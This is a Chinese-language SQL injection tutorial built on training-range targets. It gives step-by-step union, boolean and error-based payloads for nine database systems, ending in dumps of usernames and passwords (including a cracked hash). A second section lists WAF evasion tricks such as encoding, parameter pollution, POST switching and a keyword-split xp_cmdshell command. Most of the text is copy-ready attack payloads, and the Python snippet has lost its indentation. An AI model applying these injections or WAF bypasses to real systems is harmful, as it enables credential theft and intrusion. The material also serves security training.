SQL注入之手工注入


手工注入

用的是墨者學院的靶場:傳送門

涉及以下數據庫:

MySQL、Access、SqlServer(MSSQL)、SQLite、MongoDB、Db2(IBM)、PostgreSQL、Sybase、Oracle

MySQL:

1.找到注入點 and 1=1 and 1=2 測試報錯

2.order by 5 # 到5的時候報錯,獲取字段總數為4

3.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯合查詢,2和3可以顯示信息

4.獲取數據庫信息

user() ==>root

database() ==>mozhe_Discuz_StormGroup

version() ==>5.7.22-0ubuntu0.16.04.1

5.獲取數據庫表

union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() limit 0,1

table_name 表名

information_schema.tables 系統生成信息表

table_schema=數據庫名16進制或者用單引號括起來

改變limit 0,1中前一個參數,得到兩個表 StormGroup_member notice

6.獲取列名

union select 1,2,group_concat(column_name),4 from  information_schema.columns where table_schema='mozhe_Discuz_StormGroup'  and table_name='StormGroup_member' limit 0,1#

結果如下 id,name,password,status

7.脫褲

union select 1,2,group_concat(name,password),4 from StormGroup_member #

 

Access:

1.and 1=2 報錯找到注入點

2.order by 獲取總字段

3.猜解表名 and exists (select * from admin) 頁面返回正常,說明存在admin表

4.猜解列名 and exists(select id from admin) 頁面顯示正常,admin表中存在id列 username,passwd 同樣存在

5.脫褲 union select 1,username,passwd,4 from admin

 

MSSQL:

1.and 1=2報錯

2.order by N# 獲取總字段

3.猜表名 and exists(select * from manage) 表名manage存在

4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在

5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在

and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長度為8

and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長度為16

可用Burp的Intruder功能輔助猜解

and exists (select id from manage where unicode(substring(username,1,1))=32 and id=1)

猜解username第1到8位的字符,ASCII轉碼 admin_mz

and exists (select id from manage where 32=unicode(substring(password,1~16,1)) and id=1)

猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)

轉ASCII的py腳本:

asc=[55,50,101,49,98,102,99,51,102,48,49,98,55,53,56,51]  
for x in asc:
rs=chr(x)  
print(rs)

72e1bfc3f01b7583 MD5解密為97285101

 

SQLite:

1.找注入點 and 1=1

2.order by N 猜字段 4

3.猜數據庫

?id=-1 union select 1,2,name,4 from sqlite_master where type='table' limit 1 offset 0#

offset ==>0~2

有三個數據庫:

WSTMart_reg

notice_sybase

sqlite_sequence

4.猜列

union select 1,2,sql,4 from sqlite_master where type='table' and name='WSTMart_reg'#

共有3個字段:

id,name,password

5.脫褲

union select 1,name,password,4 from WSTMart_reg limit 1 offset 1#

 

MongoDB:

1.id=1′ 單引號注入報錯

2.閉合語句,查看所有集合

id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

# db.getCollectionNames()返回的是數組,需要用tojson轉換為字符串。並且mongodb函數區分大小寫

3.查看指定集合的數據

id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

[0] 代表第一條數據,可遞增

 

DB2:

1.and 1=2 判斷注入點

2.order by N 獲取字段數

3.爆當前數據庫

and (select count(versionnumber) from sysibm.sysversions)<>0  #判斷是否DB2數據庫
union select null,tabname,null,null from syscat.tables where tabschema=current schema limit 1,1

GAME_CHARACTER

4.列表

union select null,column_name,null,null from sysibm.columns  where table_schema=current schema and table_name='GAME_CHARACTER' limit  2,1

NAME

5.脫褲

union select null,name,password,null from GAME_CHARACTER%20 limit 2,1

 

PostgreSQL:

1.and 1=2 判斷注入點

2.order by N 獲取字段

3.爆數據庫

union select null,null,current_database(),null

4.列表

union select null,null,relname,null from pg_stat_user_tables limit 1 offset 1 (修改offset后邊的參數列表)

5.列字段

union select null,null,column_name,null from information_schema.columns where table_name='表名' limit 1 offset 1

6.拖庫

union select null,name,password,null from reg_users (表名)

 

Sybase數據庫:

1.and 1=2 判斷注入點

2.order by N 獲取總字段

3.爆數據庫

and 1=2 union all select null,db_name(),null,null

4.列表

and 1=2 union all select null,convert(NVARCHAR(4000),name),null,null from mozhe_Deepthroat.dbo.sysobjects

5.列字段

and 1=2 union all select%20  null,convert(NVARCHAR(4000),name),null,null%20 from  mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and  colid=1  //coid=1~N

6.查狀態

and 1=2 union all select null,name,null,null from Deepthroat_login

結果為:zhang

7.反選爆用戶名

and 1=2 union all select null,name,null,null from Deepthroat_login where name <>'zhang'

結果為:mozhe

8.猜解密碼

and 1=2 union all select null,password,null,null from Deepthroat_login where name <>'zhang'

 

Oracle:

1.and 1=1

2.order by

3.爆數據庫

union select (select owner from all_tables where rownum=1 and owner<>'SYS' and owner<>'OUTLN'),'2' from dual

4.列表

union select (select table_name from user_tables where rownum=1),'1' from dual
union select (select table_name from user_tables where rownum=1  and table_name not like '%$%' and table_name like '%u%'),'1' from dual   //與用戶有關的表,有個sns_name

5.列字段

union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'1' from dual
union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'),'1' from dual
union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'  and column_name<>'USER_PWD'),'1' from dual

6.拖庫

union select '1','用戶名:'||USER_NAME||'密碼:'||USER_PWD||'狀態:'||STATUS from "sns_users"

加上狀態:1 where STATUS=1

union select '1','用戶名:'||USER_NAME||'密碼:'||USER_PWD||'狀態:'||STATUS from "sns_users" where STATUS=1

SQL注入繞過WAF思路

什么是WAF

Web Application Firewall

通過執行一系列針對HTTP/HTTPS的安全策略來防御對Web應用的攻擊。

目前主要有單設備WAF與雲WAF。

WAF的現狀

1.太多數WAF能夠攔截較為普通的WEB攻擊

2.大多數WAF沒有針對熱點漏洞奇葩攻擊EXP防御的能力

3.基本所有的WAF都存在策略性繞過

4.由於waf的業務限制等各種原因導致存在通用繞過

WAF接收請求會先做什么

WAF邏輯漏洞及白名單階段的繞過

1.搜索引擎白名單(判斷引擎方式不嚴,修改瀏覽器默認的user-agent)

2.IP段白名單繞過

3.目錄白名單繞過

4.繞過代理直接請求源站(代理模式雲WAF)

WAF確認身份后的事

WAF數據包解析階段的繞過(通用型繞過)

一、各種編碼繞過

1.?id=1 union select pass from admin limit 1
?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
2.?id=1 union select pass from admin limit 1
?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1

二、復參數繞過

?id=1 union select 1&id=pass from admin

三、異常Method繞過

Seay /1.php?id=1 and 1=1 HTTP/1.1
Host: www.cnseay.com
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

四、編碼方式繞過(urlencoded/mutipart)

解析階段繞過

1.各種編碼繞過

2.復參數繞過(依賴Server)

3.特殊字符污染繞過(截斷/%/09-0d等)

4.異常Method繞過

5.編碼方式繞過(urlencoded/from-data)

6.超大數據包繞過

7.數據包分塊傳輸繞過

WAF解析數據包后的那些事(單向)

WAF規則策略階段的繞過 –規則網

一、數據庫特殊語法繞過

mysql .符號和~符號和!符號以及+和-號連接
?id=1.union%0aselect@1,2 ,!3,4

二、關鍵字拆分繞過

cnseay.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')

三、請求方式差異規則松懈性繞過

GET /id=1 union select 1,2,3,4   ---攔截

POST id=1 union select 1,2,3,4   ---繞過

waf業務限制,POST規則相對松懈

四、冷門函數/標簽繞過

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM